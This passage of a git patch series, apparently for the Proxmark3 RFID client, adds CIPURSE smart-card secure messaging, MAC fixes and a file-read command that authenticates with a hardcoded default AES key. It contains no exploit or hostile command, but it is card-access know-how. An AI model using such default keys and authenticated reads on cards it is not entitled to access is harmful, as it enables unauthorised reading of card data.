LeaveFieldON, sAPDU apdu, bool IncludeLe, uint16_t Le, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { uint8_t data[APDU_RES_LEN] = {0}; + uint8_t securedata[APDU_RES_LEN] = {0}; + sAPDU secapdu; *ResultLen = 0; if (sw) *sw = 0; @@ -47,7 +49,10 @@ static int CIPURSEExchangeEx(bool ActivateField, bool LeaveFieldON, sAPDU apdu, uint16_t xle = IncludeLe ? 0x100 : 0x00; if (xle == 0x100 && Le != 0) xle = Le; - if (APDUEncodeS(&apdu, false, xle, data, &datalen)) { + + CipurseCAPDUReqEncode(&cipurseContext, &apdu, &secapdu, securedata, IncludeLe, Le); + + if (APDUEncodeS(&secapdu, false, xle, data, &datalen)) { PrintAndLogEx(ERR, "APDU encoding error."); return 201; } @@ -62,14 +67,18 @@ static int CIPURSEExchangeEx(bool ActivateField, bool LeaveFieldON, sAPDU apdu, if (GetAPDULogging()) PrintAndLogEx(SUCCESS, "<<<< %s", sprint_hex(Result, *ResultLen)); - + if (*ResultLen < 2) { return 200; } - *ResultLen -= 2; - isw = Result[*ResultLen] * 0x0100 + Result[*ResultLen + 1]; - if (sw) + size_t rlen = 0; + CipurseCAPDURespDecode(&cipurseContext, Result, *ResultLen, securedata, &rlen, &isw); + memcpy(Result, securedata, rlen); + if (ResultLen != NULL) + *ResultLen = rlen; + + if (sw != NULL) *sw = isw; if (isw != 0x9000) { @@ -105,6 +114,20 @@ int CIPURSEMutalAuthenticate(uint8_t keyIndex, uint8_t *params, uint8_t paramsle return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0x82, 0x00, keyIndex, paramslen, params}, true, 0x10, Result, MaxResultLen, ResultLen, sw); } +int CIPURSESelectFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + uint8_t fileIdBin[] = {fileID >> 8, fileID & 0xff}; + return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0xa4, 0x00, 0x00, 02, fileIdBin}, true, 0, Result, MaxResultLen, ResultLen, sw); +} + +int CIPURSEReadFileAttributes(uint8_t *data, uint16_t *datalen) { + //CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0x82, 0x00, keyIndex, paramslen, params}, true, 0x10, Result, MaxResultLen, ResultLen, sw); + return 2; +} + +int CIPURSEReadBinary(uint16_t offset, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0xb0, (offset >> 8) & 0x7f, offset & 0xff, 0, NULL}, true, 0, Result, MaxResultLen, ResultLen, sw); +} + bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose) { uint8_t buf[APDU_RES_LEN] = {0}; size_t len = 0; @@ -149,7 +172,8 @@ bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose) { if (verbose) PrintAndLogEx(INFO, "Authentication " _GREEN_("OK")); - CipurseCChannelSetSecurityLevels(&cpc, CPSMACed, CPSMACed); + //CipurseCChannelSetSecurityLevels(&cpc, CPSMACed, CPSMACed); + CipurseCChannelSetSecurityLevels(&cpc, CPSPlain, CPSPlain); memcpy(&cipurseContext, &cpc, sizeof(CipurseContext)); return true; } else { diff --git a/client/src/cipurse/cipursecore.h b/client/src/cipurse/cipursecore.h index 4555b4c1f..7565538d0 100644 --- a/client/src/cipurse/cipursecore.h +++ b/client/src/cipurse/cipursecore.h @@ -14,10 +14,11 @@ #include "common.h" #include "emv/apduinfo.h" - #include #include "emv/apduinfo.h" // sAPDU +#define CIPURSE_DEFAULT_KEY {0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73} + int CIPURSESelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); int CIPURSEChallenge(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); @@ -26,9 +27,9 @@ int CIPURSEMutalAuthenticate(uint8_t keyIndex, uint8_t *params, uint8_t paramsle int CIPURSECreateFile(uint16_t fileID, uint8_t *fileAttr); int CIPURSEDeleteFile(uint16_t fileID); -int CIPURSESelectFile(uint16_t fileID); +int CIPURSESelectFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); int CIPURSEReadFileAttributes(uint8_t *data, uint16_t *datalen); -int CIPURSEReadBinary(uint16_t offset, uint8_t *data, uint16_t *datalen); +int CIPURSEReadBinary(uint16_t offset, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); int CIPURSEUpdateBinary(uint16_t offset, uint8_t *data, uint16_t datalen); bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose); diff --git a/client/src/cipurse/cipursecrypto.c b/client/src/cipurse/cipursecrypto.c index 71b076515..dd2db2c66 100644 --- a/client/src/cipurse/cipursecrypto.c +++ b/client/src/cipurse/cipursecrypto.c @@ -167,6 +167,10 @@ void CipurseCChannelSetSecurityLevels(CipurseContext *ctx, CipurseChannelSecurit ctx->ResponseSecurity = resp; } +bool isCipurseCChannelSecuritySet(CipurseContext *ctx) { + return ((ctx->RequestSecurity != CPSNone) && (ctx->ResponseSecurity != CPSNone)); +} + void CipurseCSetRandomFromPICC(CipurseContext *ctx, uint8_t *random) { if (ctx == NULL) return; @@ -310,3 +314,88 @@ bool CipurseCCheckMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, CipurseCCalcMACPadded(ctx, data, datalen, xmac); return (memcmp(mac, xmac, CIPURSE_MAC_LENGTH) == 0); } + +void CipurseCAPDUReqEncode(CipurseContext *ctx, sAPDU *srcapdu, sAPDU *dstapdu, uint8_t *dstdatabuf, bool includeLe, uint8_t Le) { + uint8_t mac[CIPURSE_MAC_LENGTH] = {0}; + + memcpy(dstapdu, srcapdu, sizeof(sAPDU)); + + if (isCipurseCChannelSecuritySet(ctx) == false) + return; + + dstapdu->CLA |= 0x04; + dstapdu->data = dstdatabuf; + dstapdu->data[0] = CipurseCGetSMI(ctx, includeLe); + dstapdu->Lc++; + memcpy(&dstdatabuf[1], srcapdu->data, srcapdu->Lc); + if (includeLe) { + dstapdu->data[dstapdu->Lc] = Le; + dstapdu->Lc++; + } + + switch (ctx->RequestSecurity) { + case CPSNone: + break; + case CPSPlain: + CipurseCCalcMACPadded(ctx, (uint8_t *)dstapdu, dstapdu->Lc + 5, mac); + break; + case CPSMACed: + dstapdu->Lc += CIPURSE_MAC_LENGTH; + CipurseCCalcMACPadded(ctx, (uint8_t *)dstapdu, dstapdu->Lc + 5, mac); + memcpy(&dstdatabuf[dstapdu->Lc - CIPURSE_MAC_LENGTH], mac, CIPURSE_MAC_LENGTH); + break; + case CPSEncrypted: + break; + default: + break; + } + +} + +void CipurseCAPDURespDecode(CipurseContext *ctx, uint8_t *srcdata, size_t srcdatalen, uint8_t *dstdata, size_t *dstdatalen, uint16_t *sw) { + if (dstdatalen != NULL) + *dstdatalen = 0; + if (sw != NULL) + *sw = 0; + + if (srcdatalen < 2) + return; + + srcdatalen -= 2; + uint16_t xsw = srcdata[srcdatalen] * 0x0100 + srcdata[srcdatalen + 1]; + if (sw) + *sw = xsw; + + if (isCipurseCChannelSecuritySet(ctx) == false) { + memcpy(dstdata, srcdata, srcdatalen); + if (dstdatalen != NULL) + *dstdatalen = srcdatalen; + return; + } + + switch (ctx->RequestSecurity) { + case CPSNone: + break; + case CPSPlain: + memcpy(dstdata, srcdata, srcdatalen); + if (dstdatalen != NULL) + *dstdatalen = srcdatalen; + break; + case CPSMACed: + if (srcdatalen < CIPURSE_MAC_LENGTH) + return; + srcdatalen -= CIPURSE_MAC_LENGTH; + if (CipurseCCheckMACPadded(ctx, srcdata, srcdatalen, &srcdata[srcdatalen]) == false) { + PrintAndLogEx(WARNING, "APDU MAC is not valid!"); + } + memcpy(dstdata, srcdata, srcdatalen); + if (dstdatalen != NULL) + *dstdatalen = srcdatalen; + break; + case CPSEncrypted: + break; + default: + break; + } + +} diff --git a/client/src/cipurse/cipursecrypto.h b/client/src/cipurse/cipursecrypto.h index d98f3e4fe..73f6116b3 100644 --- a/client/src/cipurse/cipursecrypto.h +++ b/client/src/cipurse/cipursecrypto.h @@ -12,6 +12,7 @@ #define __CIPURSECRYPTO_H__ #include "common.h" +#include "emv/apduinfo.h" // sAPDU #define CIPURSE_KVV_LENGTH 4 #define CIPURSE_AES_KEY_LENGTH 16 @@ -61,6 +62,7 @@ void CipurseCAuthenticateHost(CipurseContext *ctx, uint8_t *authdata); bool CipurseCCheckCT(CipurseContext *ctx, uint8_t *CT); void CipurseCChannelSetSecurityLevels(CipurseContext *ctx, CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp); +bool isCipurseCChannelSecuritySet(CipurseContext *ctx); void AddISO9797M2Padding(uint8_t *ddata, size_t *ddatalen, uint8_t *sdata, size_t sdatalen, size_t blocklen); size_t FindISO9797M2PaddingDataLen(uint8_t *data, size_t datalen); @@ -73,4 +75,8 @@ void CipurseCChannelEncrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, void CipurseCChannelDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *plaindata, size_t *plaindatalen); void CipurseCGetKVV(uint8_t *key, uint8_t *kvv); +void CipurseCAPDUReqEncode(CipurseContext *ctx, sAPDU *srcapdu, sAPDU *dstapdu, uint8_t *dstdatabuf, bool includeLe, uint8_t Le); +void CipurseCAPDURespDecode(CipurseContext *ctx, uint8_t *srcdata, size_t srcdatalen, uint8_t *dstdata, size_t *dstdatalen, uint16_t *sw); + + #endif /* __CIPURSECRYPTO_H__ */ diff --git a/client/src/cmdhfcipurse.c b/client/src/cmdhfcipurse.c index 39ea9cdc7..d90179c29 100644 --- a/client/src/cmdhfcipurse.c +++ b/client/src/cmdhfcipurse.c @@ -148,6 +148,108 @@ static int CmdHFCipurseAuth(const char *Cmd) { return bres ? PM3_SUCCESS : PM3_ESOFT; } +static int CmdHFCipurseReadFile(const char *Cmd) { + uint8_t buf[APDU_RES_LEN] = {0}; + size_t len = 0; + uint16_t sw = 0; + uint8_t key[] = CIPURSE_DEFAULT_KEY; + + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf cipurse read", + "Read file by file ID with key ID and key", + "hf cipurse read -f 2ff7 -> Authenticate with keyID=1 and key = 7373...7373 and read file with id 2ff7\n" + "hf cipurse auth -n 2 -k 65656565656565656565656565656565 -f 2ff7 -> Authenticate with specified key and read file\n"); + + void *argtable[] = { + arg_param_begin, + arg_lit0("a", "apdu", "show APDU requests and responses"), + arg_lit0("v", "verbose", "show technical data"), + arg_int0("n", "keyid", "", "key id"), + arg_str0("k", "key", "", "key for authenticate"), + arg_str0("f", "file", "", "file ID"), + arg_int0("o", "offset", "", "offset for reading data from file"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + bool APDULogging = arg_get_lit(ctx, 1); + bool verbose = arg_get_lit(ctx, 2); + uint8_t keyId = arg_get_int_def(ctx, 3, 1); + + uint8_t hdata[250] = {0}; + int hdatalen = sizeof(hdata); + CLIGetHexWithReturn(ctx, 4, hdata, &hdatalen); + if (hdatalen && hdatalen != 16) { + PrintAndLogEx(ERR, _RED_("ERROR:") " key length for AES128 must be 16 bytes only."); + CLIParserFree(ctx); + return PM3_EINVARG; + } + if (hdatalen) + memcpy(key, hdata, CIPURSE_AES_KEY_LENGTH); + + uint16_t fileId = 0x2ff7; + + hdatalen = sizeof(hdata); + CLIGetHexWithReturn(ctx, 5, hdata, &hdatalen); + if (hdatalen && hdatalen != 2) { + PrintAndLogEx(ERR, _RED_("ERROR:") " file id length must be 2 bytes only."); + CLIParserFree(ctx); + return PM3_EINVARG; + } + if (hdatalen) + fileId = (hdata[0] << 8) + hdata[1]; + + size_t offset = arg_get_int_def(ctx, 6, 0); + + SetAPDULogging(APDULogging); + + CLIParserFree(ctx); + + int res = CIPURSESelect(true, true, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + PrintAndLogEx(ERR, "Cipurse select " _RED_("error") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + if (verbose) + PrintAndLogEx(INFO, "File id: %x offset %d key id: %d key: %s", fileId, offset, keyId, sprint_hex(key, CIPURSE_AES_KEY_LENGTH)); + + bool bres = CIPURSEChannelAuthenticate(keyId, key, verbose); + if (bres == false) { + if (verbose == false) + PrintAndLogEx(ERR, "Authentication " _RED_("ERROR")); + DropField(); + return PM3_ESOFT; + } + + res = CIPURSESelectFile(fileId, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + if (verbose == false) + PrintAndLogEx(ERR, "File select " _RED_("ERROR") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + if (verbose) + PrintAndLogEx(INFO, "Select file 0x%x " _GREEN_("OK"), fileId); + + res = CIPURSEReadBinary(offset, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + if (verbose == false) + PrintAndLogEx(ERR, "File read " _RED_("ERROR") ". Card returns 0x%04x.", sw); + DropField(); + return PM3_ESOFT; + } + + if (len == 0) + PrintAndLogEx(INFO, "File id: %x is empty", fileId); + else + PrintAndLogEx(INFO, "File id: %x data[%d]: %s", fileId, len, sprint_hex(buf, len)); + + DropField(); + return PM3_SUCCESS; +} @@ -169,6 +271,7 @@ static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help."}, {"info", CmdHFCipurseInfo, IfPm3Iso14443a, "Info about Cipurse tag."}, {"auth", CmdHFCipurseAuth, IfPm3Iso14443a, "Authentication."}, + {"read", CmdHFCipurseReadFile, IfPm3Iso14443a, "Read file."}, {NULL, NULL, 0, NULL} }; From 09f33a45c7550d886262bf3bf5914b57b92e57eb Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Wed, 2 Jun 2021 19:50:35 +0300 Subject: [PATCH 53/77] get additional info --- client/src/cmdhfcipurse.c | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/client/src/cmdhfcipurse.c b/client/src/cmdhfcipurse.c index d90179c29..f4d51f633 100644 --- a/client/src/cmdhfcipurse.c +++ b/client/src/cmdhfcipurse.c @@ -75,7 +75,22 @@ static int CmdHFCipurseInfo(const char *Cmd) { PrintAndLogEx(INFO, "Cipurse card: " _GREEN_("OK")); + res = CIPURSESelectFile(0x2ff7, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + DropField(); + return PM3_SUCCESS; + } + res = CIPURSEReadBinary(0, buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000) { + DropField(); + return PM3_SUCCESS; + } + + if (len > 0) { + PrintAndLogEx(INFO, "Info file: " _GREEN_("OK")); + PrintAndLogEx(INFO, "[%d]: %s", len, sprint_hex(buf, len)); + } DropField(); return PM3_SUCCESS; From 98060cf74888915192eb80cdd5180064be8c67b9 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Wed, 2 Jun 2021 19:59:41 +0300 Subject: [PATCH 54/77] some additional info --- client/src/cipurse/cipursecore.c | 13 ++++++++++++- client/src/cipurse/cipursecore.h | 2 ++ client/src/cmdhfcipurse.c | 1 + 3 files changed, 15 insertions(+), 1 deletion(-) diff --git a/client/src/cipurse/cipursecore.c b/client/src/cipurse/cipursecore.c index acea27683..9b6176d97 100644 --- a/client/src/cipurse/cipursecore.c +++ b/client/src/cipurse/cipursecore.c @@ -183,4 +183,15 @@ bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose) { CipurseCClearContext(&cipurseContext); return false; } -} \ No newline at end of file +} + +void CIPURSEPrintInfoFile(uint8_t *data, size_t len) { + if (len < 2) { + PrintAndLogEx(ERR, "Info file length " _RED_("ERROR")); + return; + } + + PrintAndLogEx(INFO, "------------ INFO ------------"); + PrintAndLogEx(INFO, "CIPURSE version %d revision %d", data[0], data[1]); +} + diff --git a/client/src/cipurse/cipursecore.h b/client/src/cipurse/cipursecore.h index 7565538d0..e0f638553 100644 --- a/client/src/cipurse/cipursecore.h +++ b/client/src/cipurse/cipursecore.h @@ -19,6 +19,8 @@ #define CIPURSE_DEFAULT_KEY {0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73} +void CIPURSEPrintInfoFile(uint8_t *data, size_t len); + int CIPURSESelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); int CIPURSEChallenge(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); diff --git a/client/src/cmdhfcipurse.c b/client/src/cmdhfcipurse.c index f4d51f633..a8942df5e 100644 --- a/client/src/cmdhfcipurse.c +++ b/client/src/cmdhfcipurse.c @@ -90,6 +90,7 @@ static int CmdHFCipurseInfo(const char *Cmd) { if (len > 0) { PrintAndLogEx(INFO, "Info file: " _GREEN_("OK")); PrintAndLogEx(INFO, "[%d]: %s", len, sprint_hex(buf, len)); + CIPURSEPrintInfoFile(buf, len); } DropField(); From e8c6964bdf64ca3f35e5b805d81cf955fd83411c Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Wed, 2 Jun 2021 20:07:15 +0300 Subject: [PATCH 55/77] fix small bug --- client/src/cipurse/cipursecrypto.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/src/cipurse/cipursecrypto.c b/client/src/cipurse/cipursecrypto.c index dd2db2c66..10bbfa0ff 100644 --- a/client/src/cipurse/cipursecrypto.c +++ b/client/src/cipurse/cipursecrypto.c @@ -186,8 +186,8 @@ void CipurseCSetRandomHost(CipurseContext *ctx) { uint8_t CipurseCGetSMI(CipurseContext *ctx, bool LePresent) { uint8_t res = LePresent ? 1 : 0; - res = res | (CipurseCSecurityLevelEnc(ctx->RequestSecurity) << 2); - res = res | (CipurseCSecurityLevelEnc(ctx->ResponseSecurity) << 6); + res = res | (CipurseCSecurityLevelEnc(ctx->ResponseSecurity) << 2); + res = res | (CipurseCSecurityLevelEnc(ctx->RequestSecurity) << 6); return res; } From 5caca153a5f972d49eaa50b64aebf1eacf3f884c Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Wed, 2 Jun 2021 20:33:38 +0300 Subject: [PATCH 56/77] TX mac ok --- client/src/cipurse/cipursecrypto.c | 30 ++++++++++++++++++++++++------ 1 file changed, 24 insertions(+), 6 deletions(-) diff --git a/client/src/cipurse/cipursecrypto.c b/client/src/cipurse/cipursecrypto.c index 10bbfa0ff..e054bff27 100644 --- a/client/src/cipurse/cipursecrypto.c +++ b/client/src/cipurse/cipursecrypto.c @@ -215,7 +215,7 @@ bool CipurseCCheckCT(CipurseContext *ctx, uint8_t *CT) { void AddISO9797M2Padding(uint8_t *ddata, size_t *ddatalen, uint8_t *sdata, size_t sdatalen, size_t blocklen) { *ddatalen = sdatalen + 1; - *ddatalen += *ddatalen % blocklen; + *ddatalen += blocklen - *ddatalen % blocklen; memset(ddata, 0, *ddatalen); memcpy(ddata, sdata, sdatalen); ddata[sdatalen] = ISO9797_M2_PAD_BYTE; @@ -287,7 +287,7 @@ void CipurseCChannelDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, */ void CipurseCGenerateMAC(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac) { uint8_t temp[CIPURSE_AES_KEY_LENGTH] = {0}; - +PrintAndLogEx(INFO, "------[%d]: %s", datalen, sprint_hex(data, datalen)); memcpy(ctx->frameKeyNext, ctx->frameKey, CIPURSE_AES_KEY_LENGTH); int i = 0; while (datalen > i) { @@ -299,7 +299,8 @@ void CipurseCGenerateMAC(CipurseContext *ctx, uint8_t *data, size_t datalen, uin aes_encode(NULL, ctx->frameKey, ctx->frameKeyNext, temp, CIPURSE_AES_KEY_LENGTH); bin_xor(temp, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH); - memcpy(mac, temp, CIPURSE_MAC_LENGTH); + if (mac != NULL) + memcpy(mac, temp, CIPURSE_MAC_LENGTH); } void CipurseCCalcMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac) { @@ -315,8 +316,23 @@ bool CipurseCCheckMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, return (memcmp(mac, xmac, CIPURSE_MAC_LENGTH) == 0); } +static void CipurseCAPDUMACEncode(CipurseContext *ctx, sAPDU *apdu, uint8_t *data, size_t *datalen) { + data[0] = apdu->CLA; + data[1] = apdu->INS; + data[2] = apdu->P1; + data[3] = apdu->P2; + data[4] = apdu->Lc; + *datalen = 5 + apdu->Lc; + + if (ctx->RequestSecurity == CPSMACed) + *datalen -= CIPURSE_MAC_LENGTH; + memcpy(&data[5], apdu->data, *datalen); +} + void CipurseCAPDUReqEncode(CipurseContext *ctx, sAPDU *srcapdu, sAPDU *dstapdu, uint8_t *dstdatabuf, bool includeLe, uint8_t Le) { uint8_t mac[CIPURSE_MAC_LENGTH] = {0}; + uint8_t buf[260] = {0}; + size_t buflen = 0; memcpy(dstapdu, srcapdu, sizeof(sAPDU)); @@ -337,11 +353,13 @@ void CipurseCAPDUReqEncode(CipurseContext *ctx, sAPDU *srcapdu, sAPDU *dstapdu, case CPSNone: break; case CPSPlain: - CipurseCCalcMACPadded(ctx, (uint8_t *)dstapdu, dstapdu->Lc + 5, mac); + CipurseCAPDUMACEncode(ctx, dstapdu, buf, &buflen); + CipurseCCalcMACPadded(ctx, buf, buflen, mac); break; - case CPSMACed: + case CPSMACed: dstapdu->Lc += CIPURSE_MAC_LENGTH; - CipurseCCalcMACPadded(ctx, (uint8_t *)dstapdu, dstapdu->Lc + 5, mac); + CipurseCAPDUMACEncode(ctx, dstapdu, buf, &buflen); + CipurseCCalcMACPadded(ctx, buf, buflen, mac); memcpy(&dstdatabuf[dstapdu->Lc - CIPURSE_MAC_LENGTH], mac, CIPURSE_MAC_LENGTH); break; case CPSEncrypted: From eaf623af94c3c0ec2e165830341021737e7ccba4 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Wed, 2 Jun 2021 21:09:37 +0300 Subject: [PATCH 57/77] MAC works --- client/src/cipurse/cipursecore.c | 11 +++++++---- client/src/cipurse/cipursecore.h | 3 +++ client/src/cipurse/cipursecrypto.c | 22 +++++++++++++++++++--- client/src/cmdhfcipurse.c | 1 + 4 files changed, 30 insertions(+), 7 deletions(-) diff --git a/client/src/cipurse/cipursecore.c b/client/src/cipurse/cipursecore.c index 9b6176d97..a848fc30c 100644 --- a/client/src/cipurse/cipursecore.c +++ b/client/src/cipurse/cipursecore.c @@ -20,7 +20,6 @@ #include "emv/emvjson.h" #include "ui.h" #include "util.h" -#include "cipurse/cipursecrypto.h" // context for secure channel CipurseContext cipurseContext; @@ -49,7 +48,7 @@ static int CIPURSEExchangeEx(bool ActivateField, bool LeaveFieldON, sAPDU apdu, uint16_t xle = IncludeLe ? 0x100 : 0x00; if (xle == 0x100 && Le != 0) xle = Le; - + CipurseCAPDUReqEncode(&cipurseContext, &apdu, &secapdu, securedata, IncludeLe, Le); if (APDUEncodeS(&secapdu, false, xle, data, &datalen)) { @@ -172,8 +171,8 @@ bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose) { if (verbose) PrintAndLogEx(INFO, "Authentication " _GREEN_("OK")); - //CipurseCChannelSetSecurityLevels(&cpc, CPSMACed, CPSMACed); - CipurseCChannelSetSecurityLevels(&cpc, CPSPlain, CPSPlain); + CipurseCChannelSetSecurityLevels(&cpc, CPSMACed, CPSMACed); + //CipurseCChannelSetSecurityLevels(&cpc, CPSPlain, CPSPlain); memcpy(&cipurseContext, &cpc, sizeof(CipurseContext)); return true; } else { @@ -185,6 +184,10 @@ bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose) { } } +void CIPURSECSetActChannelSecurityLevels(CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp) { + CipurseCChannelSetSecurityLevels(&cipurseContext, req, resp); +} + void CIPURSEPrintInfoFile(uint8_t *data, size_t len) { if (len < 2) { PrintAndLogEx(ERR, "Info file length " _RED_("ERROR")); diff --git a/client/src/cipurse/cipursecore.h b/client/src/cipurse/cipursecore.h index e0f638553..ad044087e 100644 --- a/client/src/cipurse/cipursecore.h +++ b/client/src/cipurse/cipursecore.h @@ -16,6 +16,8 @@ #include #include "emv/apduinfo.h" // sAPDU +#include "cipurse/cipursecrypto.h" + #define CIPURSE_DEFAULT_KEY {0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73} @@ -35,5 +37,6 @@ int CIPURSEReadBinary(uint16_t offset, uint8_t *Result, size_t MaxResultLen, siz int CIPURSEUpdateBinary(uint16_t offset, uint8_t *data, uint16_t datalen); bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose); +void CIPURSECSetActChannelSecurityLevels(CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp); #endif /* __CIPURSECORE_H__ */ diff --git a/client/src/cipurse/cipursecrypto.c b/client/src/cipurse/cipursecrypto.c index e054bff27..45081d75d 100644 --- a/client/src/cipurse/cipursecrypto.c +++ b/client/src/cipurse/cipursecrypto.c @@ -287,7 +287,7 @@ void CipurseCChannelDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, */ void CipurseCGenerateMAC(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac) { uint8_t temp[CIPURSE_AES_KEY_LENGTH] = {0}; -PrintAndLogEx(INFO, "------[%d]: %s", datalen, sprint_hex(data, datalen)); + memcpy(ctx->frameKeyNext, ctx->frameKey, CIPURSE_AES_KEY_LENGTH); int i = 0; while (datalen > i) { @@ -299,6 +299,7 @@ PrintAndLogEx(INFO, "------[%d]: %s", datalen, sprint_hex(data, datalen)); aes_encode(NULL, ctx->frameKey, ctx->frameKeyNext, temp, CIPURSE_AES_KEY_LENGTH); bin_xor(temp, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH); + memcpy(ctx->frameKey, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH); if (mac != NULL) memcpy(mac, temp, CIPURSE_MAC_LENGTH); } @@ -354,7 +355,7 @@ void CipurseCAPDUReqEncode(CipurseContext *ctx, sAPDU *srcapdu, sAPDU *dstapdu, break; case CPSPlain: CipurseCAPDUMACEncode(ctx, dstapdu, buf, &buflen); - CipurseCCalcMACPadded(ctx, buf, buflen, mac); + CipurseCCalcMACPadded(ctx, buf, buflen, NULL); break; case CPSMACed: dstapdu->Lc += CIPURSE_MAC_LENGTH; @@ -371,6 +372,9 @@ void CipurseCAPDUReqEncode(CipurseContext *ctx, sAPDU *srcapdu, sAPDU *dstapdu, } void CipurseCAPDURespDecode(CipurseContext *ctx, uint8_t *srcdata, size_t srcdatalen, uint8_t *dstdata, size_t *dstdatalen, uint16_t *sw) { + uint8_t buf[260] = {0}; + size_t buflen = 0; + if (dstdatalen != NULL) *dstdatalen = 0; if (sw != NULL) @@ -395,6 +399,12 @@ void CipurseCAPDURespDecode(CipurseContext *ctx, uint8_t *srcdata, size_t srcdat case CPSNone: break; case CPSPlain: + memcpy(buf, srcdata, srcdatalen); + buflen = srcdatalen; + memcpy(&buf[buflen], &srcdata[srcdatalen], 2); + buflen += 2; + CipurseCCalcMACPadded(ctx, buf, buflen, NULL); + memcpy(dstdata, srcdata, srcdatalen); if (dstdatalen != NULL) *dstdatalen = srcdatalen; @@ -402,8 +412,14 @@ void CipurseCAPDURespDecode(CipurseContext *ctx, uint8_t *srcdata, size_t srcdat case CPSMACed: if (srcdatalen < CIPURSE_MAC_LENGTH) return; + + buflen = srcdatalen - CIPURSE_MAC_LENGTH; + memcpy(buf, srcdata, buflen); + memcpy(&buf[buflen], &srcdata[srcdatalen], 2); + buflen += 2; + srcdatalen -= CIPURSE_MAC_LENGTH; - if (CipurseCCheckMACPadded(ctx, srcdata, srcdatalen, &srcdata[srcdatalen]) == false) { + if (CipurseCCheckMACPadded(ctx, buf, buflen, &srcdata[srcdatalen]) == false) { PrintAndLogEx(WARNING, "APDU MAC is not valid!"); } memcpy(dstdata, srcdata, srcdatalen); diff --git a/client/src/cmdhfcipurse.c b/client/src/cmdhfcipurse.c index a8942df5e..b5be78a3a 100644 --- a/client/src/cmdhfcipurse.c +++ b/client/src/cmdhfcipurse.c @@ -246,6 +246,7 @@ static int CmdHFCipurseReadFile(const char *Cmd) { DropField(); return PM3_ESOFT; } +//CIPURSECSetActChannelSecurityLevels(CPSMACed, CPSMACed); if (verbose) PrintAndLogEx(INFO, "Select file 0x%x " _GREEN_("OK"), fileId); From 6875ad1b817fe76dc4b9b3d63fb3c0c17f8307b6 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Wed, 2 Jun 2021 21:44:32 +0300 Subject: [PATCH 58/77] mic calculation ok --- client/src/cipurse/cipursecrypto.c | 55 ++++++++++++++++++++++++++++++ client/src/cipurse/cipursecrypto.h | 2 ++ 2 files changed, 57 insertions(+) diff --git a/client/src/cipurse/cipursecrypto.c b/client/src/cipurse/cipursecrypto.c index 45081d75d..287f19182 100644 --- a/client/src/cipurse/cipursecrypto.c +++ b/client/src/cipurse/cipursecrypto.c @@ -231,6 +231,61 @@ size_t 